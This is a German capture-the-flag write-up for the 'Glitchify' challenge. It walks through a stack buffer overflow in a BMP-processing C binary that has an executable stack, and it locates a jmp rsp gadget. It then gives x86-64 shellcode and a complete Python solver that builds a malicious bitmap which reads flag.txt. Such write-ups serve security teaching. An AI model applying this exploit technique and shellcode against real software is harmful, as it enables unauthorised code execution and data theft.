Files
HIP7CTF_Writeups/de/glitchify.md
m0rph3us1987 a79656b647 Added writeups
2026-03-08 12:22:39 +01:00

13 KiB
Raw Blame History

Glitchify

Glitchify ist ein "Glitch Art" SaaS, das einen Rauschfilter auf 24-Bit-BMP-Bilder anwendet. Während die Benutzeroberfläche vor Speicherlimits warnt (32x32 Pixel), enthält die zugrunde liegende C-Anwendung einen klassischen stackbasierten Buffer Overflow und einen ausführbaren Stack, was sie zu einem perfekten Ziel für einen benutzerdefinierten Shellcode-Exploit macht.

Erste Analyse

Uns werden die folgenden Dateien zur Verfügung gestellt:

  • app.py: Der Flask-Web-Wrapper.
  • glitcher: Das kompilierte ELF64-Binary.
  • compose.yml & Dockerfile: Die Container-Konfiguration.
  • good.bmp & bad.bmp: Beispielbilder.

1. Identifizierung des Ziels

Durch Untersuchung des Dockerfile können wir genau sehen, wie der Server eingerichtet ist:

WORKDIR /home/ctf
COPY glitcher .
COPY app.py .
COPY flag.txt . 

Das Flag befindet sich unter /home/ctf/flag.txt. Unser Ziel ist es, diese Datei zu lesen.

2. Verständnis der Pipeline

Das app.py-Skript zeigt, dass der Server den stdout des Binarys abfängt und dem Benutzer anzeigt:

result = subprocess.run(
    ['./glitcher', b64_data], 
    capture_output=True, 
    text=True, 
    timeout=2
)
output = result.stdout + result.stderr

Wenn wir einen Shellcode ausführen können, der flag.txt liest und in den stdout schreibt, erscheint das Flag direkt in der Weboberfläche.

Binary Reconnaissance (Erkundung des Binarys)

Bevor wir in einen Dekompiler eintauchen, sammeln wir grundlegende Informationen über die Umgebung.

1. Dateieigenschaften

$ file glitcher
glitcher: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ..., with debug_info, not stripped

Das Binary ist not stripped, was bedeutet, dass wir während der Analyse Zugriff auf Funktionsnamen haben.

2. Sicherheitsmechanismen

$ readelf -h glitcher | grep Type
  Type:                              EXEC (Executable file)

PIE ist deaktiviert. Das Binary wird an festen Adressen geladen, was unseren Exploit vereinfacht, da wir ASLR für das Binary selbst nicht umgehen müssen.

$ readelf -l glitcher | grep -A 1 GNU_STACK
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RWE    0x10

NX ist deaktiviert (RWE). Dies ist eine entscheidende Erkenntnis: Der Stack ist ausführbar. Wir können zu Code springen, den wir auf dem Stack platzieren, und diesen ausführen.

Statische Analyse (Verfolgung des Ausführungsflusses)

Da wir nun wissen, dass die Umgebung nachsichtig ist, verfolgen wir, wie das Programm unsere Eingabe verarbeitet, indem wir der Logik in einem Dekompiler folgen.

1. Der Einstiegspunkt (main)

Das Programm beginnt damit, unser Base64-kodiertes Bild von der Befehlszeile entgegenzunehmen:

  1. Es reserviert Speicher für die Rohdaten.
  2. Es ruft base64_decode auf, um unsere Eingabe wieder in Binärdaten umzuwandeln.
  3. Es übergibt diese dekodierten Daten an die Funktion process_bmp.

2. Validierung des Bildes (process_bmp)

Diese Funktion fungiert als Gatekeeper. Sie parst die BMP-Header, um sicherzustellen, dass die Datei gültig ist:

  1. Header-Check: Sie überprüft die "BM"-Magic-Bytes.
  2. Format-Check: Sie stellt sicher, dass das Bild 24-Bit ist (Standard-RGB).
  3. Größenberechnung: Sie berechnet die Gesamtgröße der Pixeldaten: width * height * 3.
  4. Übergabe: Schließlich ruft sie apply_noise_filter auf und übergibt einen Zeiger auf die Pixeldaten sowie die berechnete data_size.

3. Die Schwachstelle (apply_noise_filter)

Hier läuft es schief. Schauen wir uns die dekompilierte Logik an:

void apply_noise_filter(char *src_data, int data_size) {
    char process_buffer[3072]; // Feste Größe auf dem Stack
    
    // ... Log-Initialisierung ...

    // KRITISCH: Keine Prüfung, ob data_size > 3072!
    memcpy(process_buffer, src_data, data_size); 

    // ... XOR-Schleife (Der "Glitch") ...
}

Der Programmierer ging davon aus, dass Benutzer sich an das in der Warnung erwähnte 32x32-Limit halten würden. Da memcpy die Größe des Zielpuffers nicht prüft, ermöglicht uns die Angabe einer größeren width oder height in unserem BMP-Header, über das Ende von process_buffer hinaus in den Stackframe der Funktion zu schreiben und die gespeicherte Rücksprungadresse (Return Address) zu überschreiben.

4. Der "Glitch"-Filter

Nach dem Überlauf, aber bevor die Funktion zurückkehrt, wendet das Binary einen XOR-Filter an:

for (idx = 0; idx < data_size; idx++) {
    process_buffer[idx] ^= (char)(idx % 256);
}

Diese Schleife wird unseren Shellcode und die Rücksprungadresse verändern (scramblen), bevor die Funktion zurückkehrt. Um sicherzustellen, dass unser Code gültig bleibt, wenn die Funktion schließlich ihre ret-Instruktion erreicht, müssen wir unseren gesamten Payload vor-XORen (pre-XOR).

Exploitation-Strategie (Den Pfad finden)

Wir haben einen Buffer Overflow und einen ausführbaren Stack. Doch selbst bei deaktiviertem PIE kann die exakte Adresse des Stacks zwischen verschiedenen Umgebungen leicht variieren (aufgrund von Umgebungsvariablen usw.). Um unseren Exploit zuverlässig zu machen, brauchen wir einen Weg, die Ausführung auf den Stack umzuleiten, ohne eine Stack-Adresse fest zu kodieren.

1. Suche nach einem Gadget

Wir benötigen eine Instruktion, die bereits im Binary vorhanden ist und zum Stack-Pointer "springt". In x86_64 wird der Stack-Pointer im rsp-Register gespeichert. Wir suchen also nach einem Gadget wie:

  • jmp rsp
  • call rsp
  • push rsp; ret

2. Jagd nach dem Gadget

Wir können objdump verwenden, um das gesamte Disassembly nach diesen spezifischen Befehlen zu durchsuchen. Suchen wir nach einem jmp rsp:

$ objdump -d glitcher -M intel | grep "jmp    rsp"
  4018d6:       ff e4                   jmp    rsp

Wir haben einen Treffer gefunden! Es gibt eine jmp rsp-Instruktion an der Adresse 0x4018d6.

3. Verifizierung

Da unser Binary nicht gestrippt ist, können wir prüfen, in welcher Funktion sich dieses Gadget befindet, um zu verstehen, warum es dort ist:

$ objdump -d glitcher -M intel --start-address=0x4018ce --stop-address=0x4018d8
00000000004018ce <get_pixels>:
  4018ce:       f3 0f 1e fa             endbr64 
  4018d2:       55                      push   rbp
  4018d3:       48 89 e5                mov    rbp,rsp
  4018d6:       ff e4                   jmp    rsp

Es stellt sich heraus, dass das Gadget innerhalb einer Funktion namens get_pixels liegt. Diese Adresse (0x4018d6) ist perfekt, da sie fest ist und genau zu dem Speicherbereich springt, der unmittelbar auf unsere Rücksprungadresse auf dem Stack folgt dort, wo wir unseren Shellcode platzieren werden.

Den Exploit Schritt für Schritt aufbauen

Schritt 1: Erstellung des Shellcodes

Da wir eine Datei lesen und in den stdout ausgeben müssen, verwenden wir eine Sequenz aus open -> read -> write. Hier ist die Aufschlüsselung in Assembly:

; --- "flag.txt" öffnen ---
push 0                          ; Null-Terminator für String
mov rbx, 0x7478742e67616c66     ; "flag.txt" in Hex (Little-Endian)
push rbx                        ; String auf Stack pushen
mov rdi, rsp                    ; RDI = Zeiger auf "flag.txt"
xor esi, esi                    ; RSI = 0 (O_RDONLY)
push 2                          ; RAX = 2 (sys_open)
pop rax
syscall                         ; open("flag.txt", 0)

; --- Dateiinhalt lesen ---
mov rdi, rax                    ; RDI = File Descriptor (von rax)
mov rsi, rsp                    ; RSI = Puffer (Stack-Platz wiederverwenden)
mov edx, 0x100                  ; RDX = 256 Bytes zum Lesen
push 0                          ; RAX = 0 (sys_read)
pop rax
syscall                         ; read(fd, rsp, 256)

; --- In stdout schreiben ---
mov rdx, rax                    ; RDX = gelesene Bytes (von rax)
push 1                          ; RDI = 1 (stdout)
pop rdi
push 1                          ; RAX = 1 (sys_write)
pop rax
syscall                         ; write(1, rsp, rdx)

; --- Sauber beenden ---
push 60                         ; RAX = 60 (sys_exit)
pop rax
xor rdi, rdi                    ; RDI = 0
syscall                         ; exit(0)

Schritt 2: Berechnung des Paddings

Der process_buffer ist 3072 Bytes groß. Um die Rücksprungadresse zu erreichen, müssen wir auch das gespeicherte RBP (8 Bytes) überschreiben.

  • Padding: 3080 Bytes.
  • Rücksprungadresse: 0x4018d6 (jmp rsp).
  • Payload: Padding + RetAddr + Shellcode.

Schritt 3: Umgehung des XOR-Filters

Wir führen ein Vor-XOR auf unseren Roh-Payload aus, so dass er, wenn der Server ihn "glitcht", tatsächlich wieder in unseren ursprünglichen Code "entschlüsselt" wird.

scrambled = bytearray()
for i in range(len(raw_payload)):
    scrambled.append(raw_payload[i] ^ (i % 256))

Schritt 4: In ein BMP verpacken

Wir verpacken unseren gescrambelten Payload in eine Standard-24-Bit-BMP-Struktur.

# Magic 'BM' + Header + Gescrambelte Daten
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
info_header = struct.pack('<IIIHHIIIIII', 40, width, 1, 1, 24, 0, 0, 0, 0, 0, 0)
final_file = bmp_header + info_header + scrambled

Der finale Solver

import struct

# Der spezifische bereitgestellte "jmp rsp" Gadget-Offset
GADGET_ADDR = 0x4018d6 

def get_payload():
    # 1. Shellcode: Öffnet flag.txt und gibt sie über stdout aus
    # OPTIMIERT: Nutzt die Byte-Anzahl von read(), um write() zu begrenzen
    shellcode = (
        b"\x6a\x00\x48\xbb\x66\x6c\x61\x67\x2e\x74\x78\x74\x53" # push "flag.txt"
        b"\x48\x89\xe7"                 # mov rdi, rsp (Dateiname-Zeiger)
        b"\x31\xf6"                     # xor esi, esi (O_RDONLY)
        b"\x6a\x02"                     # push 2 (sys_open)
        b"\x58"                         # pop rax
        b"\x0f\x05"                     # syscall (open)
        
        b"\x48\x89\xc7"                 # mov rdi, rax (fd)
        b"\x48\x89\xe6"                 # mov rsi, rsp (Stack als Puffer nutzen)
        b"\xba\x00\x01\x00\x00"         # mov edx, 256 (max. Anzahl)
        b"\x6a\x00"                     # push 0 (sys_read)
        b"\x58"                         # pop rax
        b"\x0f\x05"                     # syscall (read)
        
        # --- FIX BEGINNT HIER ---
        # read() gibt die tatsächlich gelesene Byte-Anzahl in RAX zurück.
        # Wir verschieben diesen Wert nach RDX, damit write() genau diese Anzahl druckt.
        b"\x48\x89\xc2"                 # mov rdx, rax 
        # --- FIX ENDET HIER ---

        b"\x6a\x01"                     # push 1 (stdout)
        b"\x5f"                         # pop rdi
        b"\x6a\x01"                     # push 1 (sys_write)
        b"\x58"                         # pop rax
        b"\x0f\x05"                     # syscall (write)
        
        b"\x6a\x3c"                     # push 60 (sys_exit)
        b"\x58"                         # pop rax
        b"\x31\xff"                     # xor rdi, rdi (Status 0)
        b"\x0f\x05"                     # syscall (exit)
    )

    # 2. Aufbau des Roh-Payload-Layouts
    # Puffer (3072) + gespeichertes RBP (8) = 3080 Bytes Padding
    padding = b"A" * 3080
    ret_addr = struct.pack("<Q", GADGET_ADDR)
    
    # Kombinierter Roh-Payload
    raw_payload = padding + ret_addr + shellcode

    # 3. Anwendung des XOR-Scrambling
    # Das Binary führt aus: process_buffer[idx] ^= (unsigned char)(idx % 256);
    # Wir XORen unseren Payload vor, damit der Server ihn wieder in gültigen Shellcode verwandelt.
    scrambled_payload = bytearray()
    for i in range(len(raw_payload)):
        key = i % 256
        scrambled_payload.append(raw_payload[i] ^ key)

    return scrambled_payload

def generate_bmp(payload):
    # BMP benötigt width * height * 3 Bytes an Daten.
    # Payload anpassen, damit er durch 3 teilbar ist.
    while len(payload) % 3 != 0:
        idx = len(payload)
        payload.append(0 ^ (idx % 256))

    # Dimensionen berechnen: Höhe = 1, Breite = Länge / 3
    height = 1
    width = len(payload) // 3
    
    # Header-Größe ist 54 Bytes
    file_size = 54 + len(payload)

    # Header konstruieren (Little Endian)
    # Magic 'BM' + Dateigröße + Reserviert + Offset(54)
    bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
    
    # Info-Header: Größe(40) + W + H + Planes(1) + BitCount(24) + Kompression(0)...
    info_header = struct.pack('<IIIHHIIIIII', 40, width, height, 1, 24, 0, 0, 0, 0, 0, 0)

    return bmp_header + info_header + payload

def main():
    print(f"[*] Erzeuge Exploit für JMP RSP @ {hex(GADGET_ADDR)}...")
    
    payload = get_payload()
    bmp_file = generate_bmp(payload)
    
    output_filename = "exploit.bmp"
    with open(output_filename, "wb") as f:
        f.write(bmp_file)
        
    print(f"[+] Bösartige Bitmap gespeichert unter: {output_filename}")
    print(f"[*] Gesamtgröße: {len(bmp_file)} Bytes")

if __name__ == "__main__":
    main()

Lade exploit.bmp auf den Glitchify-Server hoch, und das Flag wird auf deinem Bildschirm erscheinen!

Stay glitchy!